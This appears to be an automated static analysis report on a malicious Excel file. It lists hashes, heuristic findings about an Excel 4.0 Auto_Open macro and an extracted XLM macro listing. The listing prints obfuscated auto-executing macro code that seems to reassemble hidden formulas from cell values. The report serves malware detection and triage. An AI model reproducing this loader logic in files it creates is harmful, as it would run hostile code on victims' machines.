Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6731ab42ee233087…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:41 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: d6eda2b35c5f23d5fcae984ddf079708 SHA-1: 648b14f533c74ef587055867e358d8de838775ee SHA-256: 6731ab42ee233087adeb7374415e709071231307b88b5758851a6e531442e312
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6931 bytes
SHA-256: 68f542ae306769e060de2dd71429ce8a717c3728cebf3b36570fb7ddde761008
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KrtexrqDhwc
' 0018     25 LABEL : Cell Value, String Constant - AJbBIGcNQc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E152 
' 0018     23 LABEL : Cell Value, String Constant - axkceCXd len=0 
' 0018     23 LABEL : Cell Value, String Constant - bXiQbupj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ckPHZdpVRHpj len=0 
' 0018     26 LABEL : Cell Value, String Constant - GTXZvQxFbuO len=0 
' 0018     20 LABEL : Cell Value, String Constant - IMiGA len=0 
' 0018     25 LABEL : Cell Value, String Constant - JYIcklhxzU len=0 
' 0018     27 LABEL : Cell Value, String Constant - kpwmNvIZxWvM len=0 
' 0018     25 LABEL : Cell Value, String Constant - KSAIPOMZTf len=0 
' 0018     21 LABEL : Cell Value, String Constant - NjYIFw len=0 
' 0018     20 LABEL : Cell Value, String Constant - QahnG len=0 
' 0018     26 LABEL : Cell Value, String Constant - QSUSrPAcZbw len=0 
' 0018     21 LABEL : Cell Value, String Constant - tJxHWe len=0 
' 0018     27 LABEL : Cell Value, String Constant - uumxgCmgzxVQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - VduxugA len=0 
' 0018     25 LABEL : Cell Value, String Constant - visalHTJjZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VsfZQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - WfuRNVjEJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WGskfPvXpks len=0 
' 0018     21 LABEL : Cell Value, String Constant - zvLqIr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KrtexrqDhwc,S55,"",501.00000000000000000000
'  KrtexrqDhwc,S56,"",-2.00000000000000000000
'  KrtexrqDhwc,S57,"",-766.00000000000000000000
'  KrtexrqDhwc,S58,"",334.00000000000000000000
'  KrtexrqDhwc,S59,"",-432.00000000000000000000
'  KrtexrqDhwc,S60,"",-20.00000000000000000000
'  KrtexrqDhwc,E66,"SET.NAME("VsfZQ",0+VALUE("0"))",""
'  KrtexrqDhwc,E68,"SET.NAME("GTXZvQxFbuO",VsfZQ)",""
'  KrtexrqDhwc,E71,"SET.NAME("uumxgCmgzxVQ",VsfZQ)",""
'  KrtexrqDhwc,E74,"SET.NAME("JYIcklhxzU",COUNTA(QahnG))",""
'  KrtexrqDhwc,E76,"SET.NAME("NjYIFw",COUNTA(ckPHZdpVRHpj))",""
'  KrtexrqDhwc,E78,[],""
'  KrtexrqDhwc,E81,"SET.NAME("WfuRNVjEJ","")",""
'  KrtexrqDhwc,E84,"GTXZvQxFbuO",""
'  KrtexrqDhwc,E89,"SET.NAME("tJxHWe",HLOOKUP("*",QahnG,GTXZvQxFbuO,FALSE))",""
'  KrtexrqDhwc,E93,"kpwmNvIZxWvM",""
'  KrtexrqDhwc,E96,"SET.NAME("QSUSrPAcZbw",VsfZQ)",""
'  KrtexrqDhwc,E100,[],""
'  KrtexrqDhwc,E102,"QSUSrPAcZbw",""
'  KrtexrqDhwc,E105,"visalHTJjZ",""
'  KrtexrqDhwc,E110,"WGskfPvXpks",""
'  KrtexrqDhwc,E112,"zvLqIr",""
'  KrtexrqDhwc,E115,"SET.NAME("bXiQbupj",VALUE(HLOOKUP("*",ckPHZdpVRHpj,zvLqIr,FALSE)))",""
'  KrtexrqDhwc,E119,"AJbBIGcNQc",""
'  KrtexrqDhwc,E124,"WfuRNVjEJ",""
'  KrtexrqDhwc,E127,"uumxgCmgzxVQ",""
'  KrtexrqDhwc,E132,NEXT(),""
'  KrtexrqDhwc,E134,"IMiGA",""
'  KrtexrqDhwc,E136,[],""
'  KrtexrqDhwc,E140,"VduxugA",""
'  KrtexrqDhwc,E143,NEXT(),""
'  KrtexrqDhwc,E148,RETURN(),""
'  KrtexrqDhwc,E177,"SET.NAME("KSAIPOMZTf",E66)",""
'  KrtexrqDhwc,E182,"QahnG",""
'  KrtexrqDhwc,E186,"SET.NAME("ckPHZdpVRHpj",R82C15)",""
'  KrtexrqDhwc,E191,"SET.NAME("VduxugA",200)",""
'  KrtexrqDhwc,E196,"SET.NAME("axkceCXd",5)",""
'  KrtexrqDhwc,E199,KSAIPOMZTf(),""
'  KrtexrqDhwc,E200,HALT(),""